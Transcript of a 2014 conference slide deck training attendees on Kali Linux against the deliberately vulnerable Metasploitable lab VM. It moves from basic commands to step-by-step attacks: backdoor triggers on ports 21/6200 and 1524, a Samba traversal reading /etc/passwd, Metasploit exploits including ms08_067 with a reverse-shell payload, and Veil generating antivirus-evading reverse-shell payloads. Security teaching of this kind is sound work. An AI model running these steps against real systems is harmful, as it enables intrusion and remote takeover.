kali linux - falconer
DESCRIPTION
This is a presentation I gave at the Spring 2014 Ohio HTCIA Conference held at Salt Fork Lodge.TRANSCRIPT
Kali LinuxPresentation on Kali Linux
Ohio HTCIA 2014 Spring ConferenceSalt Fork Lodge
Welcome – Salt Fork 2014
Welcome
Tony Godfrey is the CEO / Linux Consultant of Falconer Technologies (est 2003) specializing in Linux. He has written several articles on the body of knowledge of security administration, is a regular contributor to a variety of Linux publications, and has written technical content for Linux education nation-wide at the college level.
He also teaches topics covering Linux, Network Security, Cisco routers, Cybercrime and System Forensics.
Who or What is ‘Kali’?
Who is Kali?
Kali the mother goddess despite her fearful appearance, protects the good against the evil. Unlike the other Hindu deities her form is pretty scary and formidable, intended to scare away the demons both literally and figuratively!
Anu Yadavalli
Hindu Kali
What is Kali Linux?
Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security Ltd. It was developed by Mati Aharoni and Devon Kearns of Offensive Security through the rewrite of BackTrack, their previous forensics Linux distribution.
What’s on the DVD?
/books◦Official Kali Guide◦eForensics
/media◦7-Zip, kali_iso, SD_formatter, Unetbootin,
USB_installer, VMware, Win32_DiskImager/metaspolitable/PPT
http://www.kali.org/
Legend
We’re going to type something
We’re going to make a note
Might be a question?
We’re going to click on something
Recon Attack
Ready?
Use your powers for good
Getting Ready…
- Let’s make a folder called kali_2014- Copy the DVD contents into that folder- Install 7-Zip- Install VMware Player
Let’s make sure the virtual environments are working and can ‘ping’ each other
VMware Player
Press <CTRL><Alt> at the same time to be released from the current virtual environment. You can then do a normal <Alt><Tab> to toggle between different applications.
Logins / Passwords
Kali Login rootKali Password password
Metaspolitable Login msfadminMetaspolitable Password msfadmin
Metaspolitable V/E
Login msfadmin Password msfadmin
ifconfig Jot down the IP & Netmask
route Jot down the Gateway
Metaspolitable V/E
Virtual Environment #1◦Metaspolitable
Go to TERMINALrlogin –l root <IP Address>cd /tmpls -l ...vs... ls -larm .X0-lock
startx
Kali V/E
Login root Password password
ifconfig Jot down the IP & Netmask
route Jot down the Gateway
Kali V/E
Go to:
Applications System Tools Preferences System Settings Display Resolution: ____
Then…[Apply]
Kali Updating
From the command line, type
apt-get update && apt-get upgrade
Note: This has already been done to save time, but should be done after a new installation.
Are we good?
There are several categories
Top 10 Security ToolsInformation GatheringVulnerability AnalysisWeb Applications Password AttacksWireless Attacks Exploitation ToolsSniffing/Spoofing Maintaining AccessReverse EngineeringStress Testing Hardware HackingForensics Reporting ToolsSystem Services
Metapackages also exist
Command Line ToolsPresentation on Kali Linux
ping
ping
Packet InterNet GroperPort = 8
Establishes physical connectivity between two entities
(from Kali) ping <Target IP>
Did it echo back?
top
top
Tells us what services are running, processes, memory allocation
Basically, a live system monitor
df
df
Tells us how much space is available or ‘disk free’
du
du
Tells us how much space is taken or ‘disk used’.
You can get a shorter report by…
‘du –s’ … (disk used –summary)
free
free
How much ‘free’ memory is available
ls
ls
This is for ‘list’
ls –l (list –long) ls -la (list – long – all attributes)
pwd
pwd
Directory structure
Means ‘path to working directory’ or ‘print working directory’
ps / ps aux / pstree
ps
Means ‘Process Status’◦aux – auxiliary view◦pstree – shows parent/child relationships
◦Windows – tasklist / taskkill
Kill - Stops a process (ex: kill PID)
Both EnvironmentsPresentation on Kali Linux
Can you ‘ping’ each other?
Virtual Environment #1 (Metaspolitable)◦Go to TERMINAL◦ifconfig◦…jot this number down…
Virtual Environment #2 (Kali)◦Go to TERMINAL◦ifconfig◦…jot this number down…
CLI & ServicesPresentation on Kali Linux
traceroute
traceroute
Essentially, ‘tracert’ in Windows
traceroute –i eth0 <Target IP>
It displays the route (path) and measuring transit delays of packets across an Internet Protocol (IP) network
nmap
nmap –p0-65535 <Target IP> | less
A security scanner used to discover hosts and services on a computer network, thus creating a "map" of the network
nmap
nmap –sS –Pn –A <Target IP>
A security scanner used to discover hosts and services on a computer network – ‘sS’ is stealth scan, ‘Pn’ not to run a ping scan, and ‘A’ is O/S detection, services, service pack.
rlogin (from Metaspolitable)
rlogin –l root <Target IP>
whoami
tcpdump -i eth0 host <Target IP>
A packet analyzer that runs under the command line. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.
rpcinfo
rpcinfo –p <Target IP>
A utility makes a Remote Procedure Call (RPC) to an RPC server and reports what it finds. It lists all programs registered with the port mapper on the specified host.
showmount
showmount –e <Target IP>
showmount –a <Target IP>
It displays a list of all clients that have remotely mounted a file system from a specified machine in the Host parameter. This information is maintained by the [mountd] daemon on the Host parameter.
telnet
telnet <Target IP> 21After '220...'
user backdoored:)
<CTRL><]>
quit
Port 20/21 is FTP
telnet
telnet <Target IP> 6200After 'Escape character...',
id;
<CTRL><]>
quit
Port 6200 - Oracle Notification Service remote port Oracle Application Server
telnet
telnet <Target IP> 6667
IRC (Internet Relay Chat)
Many trojans/backdoors also use this port: Dark Connection Inside, Dark FTP, Host Control, NetBus worm , ScheduleAgent, SubSeven, Trinity, WinSatan, Vampire, Moses, Maniacrootkit, kaitex, EGO.
telnet
telnet <Target IP> 1524After 'root@meta....',
id
Many attack scripts install a backdoor shell at this port (especially those against Sun systems via holes in sendmail and RPC services like statd, ttdbserver, and cmsd). Connections to port 600/pcserver also have this problem. Note: ingreslock, Trinoo; talks UDP/TCP.
Are we good?
smbclient
smbclient –L <//Target IP>
msfconsole...wait, wait, wait..., then
use auxiliary/admin/smb/samba_symlink_traversal
set RHOST <Target IP>
set SMBSHARE tmp
smbclient
exploit
...Connecting to the server.....
...<yadda, yadda, yadda>...
...Auxiliary module....
At the prompt, type exit
smbclient
smbclient //<Target IP>/tmp
Do you get the 'smb: \>' prompt? cd rootfs cd etc more passwd
Do you get a list of all user accts?
tcpdump
On Kali…
tcpdump –I eth0 src <Target IP>
On Metaspolitable…ping www.yahoo.comopen a Browser & go to CNN.com
netdiscover
On Kali
netdiscover –i eth0 –r <Target IP>/24
Netdiscover is an active/passive address reconnaissance tool, mainly developed for those wireless networks without DHCP server, when you are wardriving. It can be also used on hub/switched networks.
nikto
On Kali
nikto –h <Target IP>
Its an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers.
sqlmap
On Kali
sqlmap –u http://<Target IP> --dbs
It is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Wasp Services
From Kali – open IceWeasel
http://<Target IP>/
Research: Multillidae <p. 8>
The Mutillidae are a family of more than 3,000 species of wasps (despite the names) whose wingless females resemble large, hairy ants. Their common name ‘velvet ant’ refers to their dense pile of hair which most often is bright scarlet or orange, but may also be black, white, silver, or gold.
Web Services
From Kali – open IceWeasel
http://<Target IP>/
Research: Multillidae <p. 8>
Mutillidae is a free, open source web application provided to allow security enthusiest to pen-test and hack a web application
whatweb
From Kali
whatweb <Target IP>
whatweb –v <Target IP>
whatweb –a 4 <Target IP>
WhatWeb recognizes web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices.
From Kali - msfconsolePresentation on Kali Linux
msfconsole
From Kali
service postgresql start
service metasploit start
msfconsole
Let’s fire up the database (PostGreSql) – start Metasploit – start msfconsoleWe will then take a look at the built-in exploit tools
msfconsole
From [msf>] console
help search
show exploits
search dns
‘Help Search’ shows all of the options, ‘Show Exploits’ show all the built-in exploits in msfconsole, ‘Search DNS’ will look for any DNS exploits.
msfconsole
From [msf>] console
search Microsoft
search diablo
search irc
search http
Let’s try a few more to see what they do….
msfconsole
From [msf>] console, search for ‘unreal’
info <exploit>
use <exploit>
show options
LHOST, RHOST, LPORT, RPORT
msfconsole
From [msf>] console (ex: unreal)
set RHOST <IP Address>
show options
exploit
msfconsole
From [msf>] console, search for ‘twiki’
info <exploit>
use <exploit>
show options
LHOST, RHOST, LPORT, RPORT
msfconsole
From [msf>] console (ex: ‘twiki’)
set RHOST <IP Address>
show options
exploit
msfconsole
From [msf>] console, (target: Win XP)
use exploit/windows/smb/ms08_067_netapi
show options
show targets
set target 2
msfconsole
From [msf>] console, (target: Win XP)
show options
show advanced
show targets
show payloads
msfconsole
From [msf>] console, (target: Win XP)
set payload windows/shell_reverse_tcp
show options
set LHOST <Kali IP Address>
set RHOST <Target IP Address>
msfconsole
From [msf>] console, (target: Win XP)
show options
exploit
Any errors?
From Kali – more GUIPresentation on Kali Linux
Zenmap
Let’s run Zenmap
Applications Kali Linux
Information Gathering
DNS Analysis
Zenmap
SHODAN
Let’s run SHODAN
Open a browser
www.shodanhq.com
type in ‘almost anything’
…Be very nervous…
FERN
Let’s run FERN
Kali Linux
Wireless Attacks
Wireless Tools
fern-wifi-cracker
recon-ng
Kali has many built-in tools, but you can always install more (Debian-based). But, you may always wish to add more such as recon-ng.
recon-ngautomated info gathering and
network reconnaissance.
recon-ng
Let’s run recon-ng…
cd /opt/recon-ng
/usr/bin/python recon-ng
show modules
recon/hosts/gather/http/web/google_site
recon-ng
Let’s run recon-ng…
set DOMAIN <domain.com>
run (…let this run awhile…)
back (…previous level…)
show modules
recon-ng
Let’s run recon-ng…
use reporting/csv
run
Will add your new information to /usr/share/recon-ng/workspaces/default
dmitry
If you want something more basic…dmitry
dmitry –s <domain.com>
It gives you site names & IP’s
veil
Kali has many built-in tools, but you can always install even more (Debian-based). You may always wish to add more such as veil.
veilRemote shell payload generator that can bypass many anti-virus programs.
veil
Let’s run veil
veil-evasion
list (available payloads list)
use 13 (powershell/VirtualAlloc)
generate
veil
Let’s run veil
1 (msfvenom)
[ENTER] (accept default)
Value for LHOST (Target IP)
Value for LPORT (ex: 4000)
veil
Let’s run veil
Output name (“Squatch”)
It will store this new batch file to the /usr/share/veil/output/source folder. When the file is run from the target machine, it will attempt to do a reverse shell session with Kali.
Final Thoughts…
Kali InformationSee ‘Notes’ section in this slide
Kali ComparisonsSee ‘Notes’ section in this slide
Kali-specific WebsitesSee ‘Notes’ section in this slide
Kali PublicationsSee ‘Notes’ section in this slide
Questions/Concerns
But wait, that’s not all
Kali in a box?
Do you want to run Kali on tablet or phone?
http://www.kali.org/how-to/kali-linux-android-linux-deploy/
Pentesting with Firefox?
The Firefox web browser is great tool to test vulnerabilities of a website. There is a portable version on PortableApps. I would suggest this version and install the needed plugins. Then, fire up the browser and ‘use your powers for good’.
Thank You
